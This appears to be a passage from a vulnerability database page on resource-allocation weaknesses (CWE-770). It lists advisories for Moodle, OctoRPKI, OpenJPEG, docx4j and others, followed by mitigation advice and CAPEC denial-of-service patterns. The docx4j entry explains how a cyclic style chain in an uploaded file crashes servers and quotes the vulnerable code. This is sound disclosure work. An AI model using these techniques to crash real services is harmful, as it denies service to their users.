"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G9QC-X99M-R64J
Vulnerability from github – Published: 2022-01-04 00:00 – Updated: 2022-01-12 00:01There is a Memory leakage vulnerability in Smartphone.Successful exploitation of this vulnerability may cause memory exhaustion.
{
"affected": [],
"aliases": [
"CVE-2021-37111"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-03T22:15:00Z",
"severity": "HIGH"
},
"details": "There is a Memory leakage vulnerability in Smartphone.Successful exploitation of this vulnerability may cause memory exhaustion.",
"id": "GHSA-g9qc-x99m-r64j",
"modified": "2022-01-12T00:01:44Z",
"published": "2022-01-04T00:00:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37111"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2021/10"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202110-0000001162998526"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G9QP-5VRR-HH2C
Vulnerability from github – Published: 2022-08-17 00:00 – Updated: 2022-08-18 00:00In Moodle before 3.9.1, 3.8.4, 3.7.7 and 3.5.13, yui_combo needed to limit the amount of files it can load to help mitigate the risk of denial of service.
{
"affected": [],
"aliases": [
"CVE-2020-14322"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-16T21:15:00Z",
"severity": "HIGH"
},
"details": "In Moodle before 3.9.1, 3.8.4, 3.7.7 and 3.5.13, yui_combo needed to limit the amount of files it can load to help mitigate the risk of denial of service.",
"id": "GHSA-g9qp-5vrr-hh2c",
"modified": "2022-08-18T00:00:17Z",
"published": "2022-08-17T00:00:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14322"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=407394"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G9WH-3VRX-R7HG
Vulnerability from github – Published: 2021-11-10 20:39 – Updated: 2021-11-10 18:19OctoRPKI tries to load the entire contents of a repository in memory, and in the case of a GZIP bomb, unzip it in memory, making it possible to create a repository that makes OctoRPKI run out of memory (and thus crash).
Patches
For more information
If you have any questions or comments about this advisory email us at security@cloudflare.com
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudflare/cfrpki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3912"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-10T18:19:37Z",
"nvd_published_at": "2021-11-11T22:15:00Z",
"severity": "MODERATE"
},
"details": "OctoRPKI tries to load the entire contents of a repository in memory, and in the case of a GZIP bomb, unzip it in memory, making it possible to create a repository that makes OctoRPKI run out of memory (and thus crash). \n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com\n\n",
"id": "GHSA-g9wh-3vrx-r7hg",
"modified": "2021-11-10T18:19:37Z",
"published": "2021-11-10T20:39:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudflare/cfrpki/security/advisories/GHSA-g9wh-3vrx-r7hg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3912"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/cfrpki/commit/648658b1b176a747b52645989cfddc73a81eacad"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2022-0253"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5041"
},
{
"type": "PACKAGE",
"url": "github.com/cloudflare/cfrpki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OctoRPKI crashes when processing GZIP bomb returned via malicious repository"
}
GHSA-G9XC-M7JR-85X9
Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22An issue was discovered in OpenJPEG 2.3.0. It allows remote attackers to cause a denial of service (attempted excessive memory allocation) in opj_calloc in openjp2/opj_malloc.c, when called from opj_tcd_init_tile in openjp2/tcd.c, as demonstrated by the 64-bit opj_decompress.
{
"affected": [],
"aliases": [
"CVE-2019-6988"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-28T16:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in OpenJPEG 2.3.0. It allows remote attackers to cause a denial of service (attempted excessive memory allocation) in opj_calloc in openjp2/opj_malloc.c, when called from opj_tcd_init_tile in openjp2/tcd.c, as demonstrated by the 64-bit opj_decompress.",
"id": "GHSA-g9xc-m7jr-85x9",
"modified": "2022-05-13T01:22:47Z",
"published": "2022-05-13T01:22:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6988"
},
{
"type": "WEB",
"url": "https://github.com/uclouvain/openjpeg/issues/1178"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106785"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GC95-3VW8-VG43
Vulnerability from github – Published: 2026-08-17 21:55 – Updated: 2026-08-17 21:55Summary
docx4j's PropertyResolver and several adjacent helpers recursively walk the OpenXML style inheritance chain (w:basedOn) without cycle detection.
A WordprocessingML document containing a cyclic style chain (for example, Style A based on B and Style B based on A) causes unbounded recursion and a java.lang.StackOverflowError within the property-resolution code path.
These helpers are used by operations that require effective style resolution, including common conversion and TOC-related paths. As a result, most server-side pipelines that accept a user-supplied docx and process it through docx4j can likely be crashed by a file containing a cyclic style reference.
Details
Representative snippet: PropertyResolver.fillPPrStack
private void fillPPrStack(String styleId, Stack<PPr> pPrStack) {
Style style = liveStyles.get(styleId);
...
// if it is based on, recurse
if (style.getBasedOn() == null) {
log.debug("Style " + styleId + " is a root style.");
} else if (style.getBasedOn().getVal() != null) {
String basedOnStyleName = style.getBasedOn().getVal();
fillPPrStack(basedOnStyleName, pPrStack); // ← unbounded recursion
...
Impact
This is a denial of service against a server-side application that processes untrusted docx files via docx4j.
An upload causes the processing thread to be terminated with StackOverflowError which may crash the worker thread, degrade the thread pool, or evade normal per-request CPU and heap-memory safeguards in containers and serverless functions (because the failure mode is thread-stack exhaustion rather than gradual resource consumption).
The attack depends on the host application's access controls and requires no user interaction beyond submitting the file. Detection is difficult because the file is a well-formed OOXML package containing ordinary style elements, and passes standard antivirus and content-inspection rules.
Severity: High for server-side applications that process untrusted DOCX files using docx4j style/property resolution (unless the application catches StackOverflowError, isolates conversion in disposable worker processes, restarts workers cleanly, and the practical impact is only failure of one request). Severity may be Medium where document upload requires authentication, processing is isolated, or the failure is limited to a single request/worker.
Credits
Thanks to Koh You Liang (@Isopach) for responsibly disclosing this issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.5.13"
},
"package": {
"ecosystem": "Maven",
"name": "org.docx4j:docx4j-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.5.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53752"
],
"database_specific": {
"cwe_ids": [
"CWE-674",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T21:55:49Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\ndocx4j\u0027s `PropertyResolver` and several adjacent helpers recursively walk the OpenXML style inheritance chain (`w:basedOn`) without cycle detection. \n\nA WordprocessingML document containing a cyclic style chain (for example, Style A based on B and Style B based on A) causes unbounded recursion and a `java.lang.StackOverflowError` within the property-resolution code path.\n\nThese helpers are used by operations that require effective style resolution, including common conversion and TOC-related paths. As a result, most server-side pipelines that accept a user-supplied docx and process it through docx4j can likely be crashed by a file containing a cyclic style reference.\n\n### Details\n\nRepresentative snippet: `PropertyResolver.fillPPrStack`\n\n```java\nprivate void fillPPrStack(String styleId, Stack\u003cPPr\u003e pPrStack) {\n Style style = liveStyles.get(styleId);\n ...\n // if it is based on, recurse\n if (style.getBasedOn() == null) {\n log.debug(\"Style \" + styleId + \" is a root style.\");\n } else if (style.getBasedOn().getVal() != null) {\n String basedOnStyleName = style.getBasedOn().getVal();\n fillPPrStack(basedOnStyleName, pPrStack); // \u2190 unbounded recursion\n ...\n```\n\n### Impact\nThis is a denial of service against a server-side application that processes untrusted docx files via docx4j. \n\nAn upload causes the processing thread to be terminated with `StackOverflowError` which may crash the worker thread, degrade the thread pool, or evade normal per-request CPU and heap-memory safeguards in containers and serverless functions (because the failure mode is thread-stack exhaustion rather than gradual resource consumption).\n\nThe attack depends on the host application\u0027s access controls and requires no user interaction beyond submitting the file. Detection is difficult because the file is a well-formed OOXML package containing ordinary style elements, and passes standard antivirus and content-inspection rules.\n\nSeverity: High for server-side applications that process untrusted DOCX files using docx4j style/property resolution (unless the application catches StackOverflowError, isolates conversion in disposable worker processes, restarts workers cleanly, and the practical impact is only failure of one request). Severity may be Medium where document upload requires authentication, processing is isolated, or the failure is limited to a single request/worker.\n\n### Credits\nThanks to Koh You Liang ([@Isopach](https://github.com/Isopach)) for responsibly disclosing this issue.",
"id": "GHSA-gc95-3vw8-vg43",
"modified": "2026-08-17T21:55:49Z",
"published": "2026-08-17T21:55:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/plutext/docx4j/security/advisories/GHSA-gc95-3vw8-vg43"
},
{
"type": "PACKAGE",
"url": "https://github.com/plutext/docx4j"
},
{
"type": "WEB",
"url": "https://github.com/plutext/docx4j/releases/tag/docx4j-11.5.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "docx4j: Stack Overflow via Cyclic `w:basedOn` Style Chain leads to Denial of Service"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.